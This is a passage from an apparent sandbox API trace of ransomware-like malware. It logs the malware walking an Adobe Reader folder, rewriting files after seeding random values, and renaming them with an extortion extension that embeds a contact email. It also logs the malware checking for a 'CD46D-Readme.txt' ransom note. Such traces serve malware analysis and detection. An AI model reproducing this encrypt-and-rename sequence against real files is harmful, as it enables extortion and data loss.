lpBuffer=0x194d0048*, lpNumberOfBytesWritten=0x6eafc30*=0x41fc, lpOverlapped=0x0) returned 1 [0059.282] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf1b8 [0059.282] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf1e0 [0059.282] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf1e0) returned 1 [0059.282] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194d0048) returned 1 [0059.282] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d8a9b0) returned 1 [0059.282] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b1e0) returned 1 [0059.282] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bf70) returned 1 [0059.283] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x97cec90 [0059.283] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.283] WriteFile (in: hFile=0xeb0, lpBuffer=0x12d7c968*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x6eafc98, lpOverlapped=0x0 | out: lpBuffer=0x12d7c968*, lpNumberOfBytesWritten=0x6eafc98*=0x10b, lpOverlapped=0x0) returned 1 [0061.614] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c968) returned 1 [0061.614] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec00) returned 1 [0061.614] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf1e0) returned 1 [0061.614] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec90) returned 1 [0061.614] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf1b8) returned 1 [0061.614] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428f78) returned 1 [0061.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428f50) returned 1 [0061.615] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428f28) returned 1 [0061.615] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02120 [0061.615] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" [0061.615] wcscat (in: _Dest=0x5e02120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm.mailto[2Hamlampampom@cock.li].cd46d" [0061.615] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6eafc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.615] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40db20 [0061.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40db20) returned 1 [0061.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e21d60) returned 1 [0061.621] NtQueryInformationFile (in: FileHandle=0xeb0, IoStatusBlock=0x6eafc5c, FileInformation=0x6eafc34, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x6eafc5c, FileInformation=0x6eafc34) returned 0x0 [0061.621] NtSetInformationFile (FileHandle=0xeb0, IoStatusBlock=0x6eafc5c, FileInformation=0x6eafc34, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.627] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0061.627] FlushFileBuffers (hFile=0xeb0) returned 1 [0062.202] CloseHandle (hObject=0xeb0) returned 1 [0062.704] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e09018 [0062.704] wcscpy (in: _Dest=0x12e09018, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.704] wcscat (in: _Dest=0x12e09018, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.704] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.429] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e09018) returned 1 [0063.429] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419400) returned 1 Thread: id = 373 os_tid = 0xcb8 [0048.657] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm")) returned 0x20 [0058.674] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm", dwFileAttributes=0x20) returned 1 [0058.675] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9b0 [0058.675] GetFileSizeEx (in: hFile=0x9b0, lpFileSize=0x5c0f770 | out: lpFileSize=0x5c0f770*=17230) returned 1 [0058.675] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x434a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.675] ReadFile (in: hFile=0x9b0, lpBuffer=0x5c0f6f4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5c0f6f0, lpOverlapped=0x0 | out: lpBuffer=0x5c0f6f4*, lpNumberOfBytesRead=0x5c0f6f0*=0x4, lpOverlapped=0x0) returned 1 [0058.677] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.677] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9760 [0058.677] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95d0 [0058.677] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9670 [0058.677] NtQuerySystemTime (in: CurrentTime=0x5c0f6d0 | out: CurrentTime=0x5c0f6d0*=132174898226640000) returned 0x0 [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x71e9c0c [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x74d06339 [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x2b6d4ba3 [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x2eb41077 [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x16ed71f0 [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x4b0574f [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x72e088ec [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x20d23d8 [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x62bee4a7 [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x1b049f93 [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x3273dc6d [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0xf0d2c9c [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x541df954 [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x1f83bfe7 [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0xef0e365 [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x36079763 [0058.677] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x2b99dc35 [0058.678] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x508448ca [0058.678] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x4304c04f [0058.678] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x7250ae47 [0058.678] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x7553a820 [0058.678] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x76d06621 [0058.678] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x7336aa00 [0058.678] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x14e7f6a1 [0058.678] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x73b7dd46 [0058.678] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x7de6d449 [0058.678] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x4b87cb1 [0058.678] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x619b9dd0 [0058.678] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x422ebf13 [0058.678] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x119c2e31 [0058.678] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x12d45e9 [0058.678] RtlRandomEx (in: Seed=0x5c0f6dc | out: Seed=0x5c0f6dc) returned 0x2b432403 [0058.689] ReadFile (in: hFile=0x9b0, lpBuffer=0x194e9058, nNumberOfBytesToRead=0x434e, lpNumberOfBytesRead=0x5c0f6cc, lpOverlapped=0x0 | out: lpBuffer=0x194e9058*, lpNumberOfBytesRead=0x5c0f6cc*=0x434e, lpOverlapped=0x0) returned 1 [0058.690] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.690] WriteFile (in: hFile=0x9b0, lpBuffer=0x194f5860*, nNumberOfBytesToWrite=0x434e, lpNumberOfBytesWritten=0x5c0f6c8, lpOverlapped=0x0 | out: lpBuffer=0x194f5860*, lpNumberOfBytesWritten=0x5c0f6c8*=0x434e, lpOverlapped=0x0) returned 1 [0058.692] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9760 [0058.692] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9670 [0058.692] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9670) returned 1 [0058.692] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194f5860) returned 1 [0058.692] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194e9058) returned 1 [0058.692] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4379b8) returned 1 [0058.692] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c000) returned 1 [0058.692] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cee70 [0058.692] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.692] WriteFile (in: hFile=0x9b0, lpBuffer=0x12d7c2d8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x5c0f730, lpOverlapped=0x0 | out: lpBuffer=0x12d7c2d8*, lpNumberOfBytesWritten=0x5c0f730*=0x109, lpOverlapped=0x0) returned 1 [0058.693] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c2d8) returned 1 [0058.693] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0058.693] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9670) returned 1 [0058.693] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0058.693] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9760) returned 1 [0058.693] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e95d0) returned 1 [0058.693] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e96c0) returned 1 [0058.693] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9620) returned 1 [0058.694] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e02120 [0058.694] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" [0058.694] wcscat (in: _Dest=0x5e02120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm.mailto[2Hamlampampom@cock.li].cd46d" [0058.694] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x5c0f6e8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.694] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40db20 [0058.695] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40db20) returned 1 [0058.695] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ec788) returned 1 [0058.695] NtQueryInformationFile (in: FileHandle=0x9b0, IoStatusBlock=0x5c0f6f4, FileInformation=0x5c0f6cc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x5c0f6f4, FileInformation=0x5c0f6cc) returned 0x0 [0058.695] NtSetInformationFile (FileHandle=0x9b0, IoStatusBlock=0x5c0f6f4, FileInformation=0x5c0f6cc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.696] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0058.696] FlushFileBuffers (hFile=0x9b0) returned 1 [0062.212] CloseHandle (hObject=0x9b0) returned 1 [0062.710] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e09218 [0062.710] wcscpy (in: _Dest=0x12e09218, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.710] wcscat (in: _Dest=0x12e09218, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.710] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.425] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e09218) returned 1 [0063.425] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45da0) returned 1 Thread: id = 374 os_tid = 0xcbc [0048.657] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x421a48 [0048.657] wcscpy (in: _Dest=0x421a48, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0048.657] wcscat (in: _Dest=0x421a48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0048.657] wcscat (in: _Dest=0x421a48, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*" [0048.657] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4889a0 [0048.657] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*", lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ee8 [0048.658] wcscmp (_String1=".", _String2=".") returned 0 [0048.658] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.658] wcscmp (_String1="..", _String2=".") returned 1 [0048.658] wcscmp (_String1="..", _String2="..") returned 0 [0048.658] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x32398, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3DUtils.dll", cAlternateFileName="")) returned 1 [0048.658] wcscmp (_String1="A3DUtils.dll", _String2=".") returned 1 [0048.658] wcscmp (_String1="A3DUtils.dll", _String2="..") returned 1 [0048.658] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x803069c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc7d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACE.dll", cAlternateFileName="")) returned 1 [0048.658] wcscmp (_String1="ACE.dll", _String2=".") returned 1 [0048.658] wcscmp (_String1="ACE.dll", _String2="..") returned 1 [0048.658] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x47f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1 [0048.658] wcscmp (_String1="AcroBroker.exe", _String2=".") returned 1 [0048.658] wcscmp (_String1="AcroBroker.exe", _String2="..") returned 1 [0048.658] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1 [0048.658] wcscmp (_String1="Acrofx32.dll", _String2=".") returned 1 [0048.658] wcscmp (_String1="Acrofx32.dll", _String2="..") returned 1 [0048.658] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16a0398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.dll", cAlternateFileName="")) returned 1 [0048.658] wcscmp (_String1="AcroRd32.dll", _String2=".") returned 1 [0048.658] wcscmp (_String1="AcroRd32.dll", _String2="..") returned 1 [0048.658] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13ad98, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.exe", cAlternateFileName="")) returned 1 [0048.658] wcscmp (_String1="AcroRd32.exe", _String2=".") returned 1 [0048.658] wcscmp (_String1="AcroRd32.exe", _String2="..") returned 1 [0048.658] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x803069c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Info.exe", cAlternateFileName="ACRORD~1.EXE")) returned 1 [0048.659] wcscmp (_String1="AcroRd32Info.exe", _String2=".") returned 1 [0048.659] wcscmp (_String1="AcroRd32Info.exe", _String2="..") returned 1 [0048.659] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroTextExtractor.exe", cAlternateFileName="ACROTE~1.EXE")) returned 1 [0048.659] wcscmp (_String1="AcroTextExtractor.exe", _String2=".") returned 1 [0048.659] wcscmp (_String1="AcroTextExtractor.exe", _String2="..") returned 1 [0048.659] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.Reader.Dependencies.manifest", cAlternateFileName="ADOBER~1.MAN")) returned 1 [0048.659] wcscmp (_String1="Adobe.Reader.Dependencies.manifest", _String2=".") returned 1 [0048.659] wcscmp (_String1="Adobe.Reader.Dependencies.manifest", _String2="..") returned 1 [0048.659] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x442990 [0048.659] wcscpy (in: _Dest=0x442990, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0048.659] wcscat (in: _Dest=0x442990, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0048.659] wcscat (in: _Dest=0x442990, _Source="Adobe.Reader.Dependencies.manifest" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest" [0049.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x442990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0049.368] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80541e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x128fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.exe", cAlternateFileName="ADOBEC~1.EXE")) returned 1 [0049.368] wcscmp (_String1="AdobeCollabSync.exe", _String2=".") returned 1 [0049.368] wcscmp (_String1="AdobeCollabSync.exe", _String2="..") returned 1 [0049.368] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, 